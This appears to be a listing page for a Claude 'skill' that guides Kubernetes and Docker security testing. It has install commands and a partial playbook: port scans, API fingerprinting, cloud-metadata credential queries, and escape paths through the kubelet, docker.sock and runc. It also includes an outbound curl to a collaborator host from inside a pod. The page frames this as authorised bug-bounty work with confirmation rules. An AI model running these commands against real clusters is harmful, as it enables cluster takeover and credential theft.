Hunt K8S
Hunt K8S is a security scanner that detects Kubernetes and Docker misconfigurations leading to cluster compromise, specifically identifying anonymous cluster-admin API access and kubelet 10250 exec/run endpoints that allow direct command execution.
How to Install
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git && cp Claude-BugHunter/skills/hunt-k8s ~/.claude/skills/SKILL.md -rHUNT-K8S — Kubernetes & Docker Security
Crown Jewel Targets
K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet /run shell pivots one finding to total compromise.
Highest-value findings:
- K8s API anonymous cluster-admin — system:anonymous/system:unauthenticated bound to a powerful role (classic misconfig: system:anonymous in a ClusterRoleBinding to cluster-admin) → full kubectl. Mere anonymous 200 is NOT this (see false-positive section).
- Kubelet 10250 exec/run — /run returns command output directly; /exec is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
- API-server-mediated kubelet RCE — /api/v1/nodes/<node>/proxy/run/... reaches the kubelet through the API server using your (low-priv) token; if RBAC grants nodes/proxy, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
- etcd 2379 unauth — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless EncryptionConfiguration is set) → full credential dump.
- docker.sock exposure — SSRF/LFI/RCE reaching /var/run/docker.sock → create --privileged container, bind-mount host / → host root.
- Container escape via runc — Leaky Vessels (CVE-2024-21626): WORKDIR/process.cwd pointing at a leaked /proc/self/fd/<n> host FD → break out of an attacker-controlled image/exec to host root.
- SA token abuse — auto-mounted token at /var/run/secrets/kubernetes.io/serviceaccount/token; check its real grants with SelfSubjectRulesReview before claiming impact.
- K8s Dashboard skip-login / token-less API — full cluster management UI reachable unauthenticated.
OOB / Confirmation Gate (Read First)
K8s findings are RCE/credential-disclosure class. House rule: prove state change or data read, never infer from a status code.
- A
200on/api/v1/namespacesdoes not mean cluster-admin. The API server returns200with an RBAC-filtered (often emptyitems: []) list to any principal that can reachlist namespaces— anonymous read on a few resources is common and low-impact. Confirm real privilege with SelfSubjectRulesReview / SelfSubjectAccessReview, then by actually reading a Secret value. - 10255 (read-only) vs 10250 (exec) are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has
/pods,/stats,/metrics, NO exec/run. 10250 (HTTPS) is where/runand/execlive. Do not report "kubelet RCE" off a 10255 hit. - Blind/outbound vectors need OOB. If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g.
curl http://<token>.<collab>from inside the pod via/run). A delayed response or an echoed URL is NOT proof. - Impact proof = the artifact. For exec: the literal
id/hostnameoutput. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (/etc/hostnameof the node, distinct from the container's). - Use a dedicated test namespace / test pod when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only
idin a pod you spun up if policy allows, or limit to a single non-destructiveidand stop.
Phase 1 — Fingerprint & Port Discovery
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"
# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE
Note the gitVersion — it gates every CVE below.
Phase 2 — Kubernetes API Anonymous / Low-Priv Access
```bash SRV="https://$TARGET:6443"
1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \ -H 'Content-Type: application/json' \ -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
2. What can I actually DO? (the only
Details
| Category | AI/ML → ml |
| Source | elementalsouls/Claude-BugHunter |
| SKILL.md | View on GitHub → |
| Repo Stars | ★ 2.7K |
| Est. per Skill | N/A (shared across 50 skills from this repo) |
| Difficulty | Intermediate |
| Risk Level | N/A |
Related Skills
Works Well With
Skills from the same repository — often designed to work together